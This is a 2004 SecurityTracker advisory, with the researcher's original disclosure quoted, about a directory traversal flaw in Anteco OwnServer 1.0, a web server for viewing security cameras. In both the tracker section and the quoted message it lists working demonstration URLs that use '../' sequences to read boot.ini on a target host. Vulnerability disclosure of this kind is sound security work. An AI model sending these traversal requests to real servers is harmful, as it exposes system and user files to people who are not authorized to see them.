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Category:   Application (Generic)  >   Anteco OwnServer Vendors:   Anteco Technologies Ltd.
Anteco OwnServer Input Validation Flaw Discloses Files to Remote Users
SecurityTracker Alert ID:  1008800
SecurityTracker URL:  http://securitytracker.com/id/1008800
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Jan 21 2004
Impact:   Disclosure of system information, Disclosure of user information
Exploit Included:  Yes  
Version(s): 1.0 and prior versions
Description:   An input validation vulnerability was reported in the Anteco OwnServer. A remote user can view files located anywhere on the system.

Rafel Ivgi (The-Insider) reported that the server does not properly validate user-supplied requests. A remote user can request a URL containing '../' directory traversal characters to view arbitrary files on the target system with the privileges of the application.

Some demonstration exploit URLs are provided:

http://[target]/../../boot.ini
http://[target]/../../../boot.ini
http://[target]/../../../../boot.ini
http://[target]/../../../../../boot.ini
http://[target]/../../../../../../boot.ini

Impact:   A remote user can view arbitrary files on the target system with the privileges of the application.
Solution:   No solution was available at the time of this entry.
Vendor URL:  www.anteco.co.il/ (Links to External Site)
Cause:   Access control error, Input validation error
Underlying OS:  Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  OwnServer 1.0 Directory Transversal Vulnerability


#######################################################################

Application:    OwnServer (Used By Security Cameras Products)
Vendors:        http://www.anteco.co.il
Big Resellers:
                      http://www.anykeeper.com
                      http://www.sahar-systems.co.il

Versions:        <= 1.0
Platforms:       Windows
Bug:                Directory Transversal Vulnerability
Risk:                High
Exploitation:    Remote with browser
Date:               25 Dec 2003
Author:            Rafel Ivgi, The-Insider
e-mail:             the_insider@mail.com
web:                http://theinsider.deep-ice.com

#######################################################################

1) Introduction
2) Bug
3) The Code

#######################################################################

===============
1) Introduction
===============


OwnServer is a web server used as a webserver for watching security cameras
remotly.
It allows broadcasting live streaming video on the web through the built-in
webserver.


#######################################################################

======
2) Bug
======

The webserver uses a protection to avoid the directory traversal bug.
"//"  is replaced to  ""
"\." and "\.."  is replaced to  ""
"\"  is replaced to  "/"
"\\"  is replaced to  "//"

The webserver uses no protection to avoid the directory traversal bug.
The problem happens when the attacker uses the classic pattern "/../" that
allows him to see and download any file in the remote system knowing the
path.
This allows any attacker to : Read and download any local file, and in most
cases retrieve the machine's password files and invade it (using
ssh,ftp,http,netbios,samba etc...).

#######################################################################

===========
3) The Code
===========

http://<host>/../../boot.ini
http://<host>/../../../boot.ini
http://<host>/../../../../boot.ini
http://<host>/../../../../../boot.ini
http://<host>/../../../../../../boot.ini

#######################################################################

---
Rafel Ivgi, The-Insider
http://theinsider.deep-ice.com

"Things that are unlikeable, are NOT impossible."

 
 


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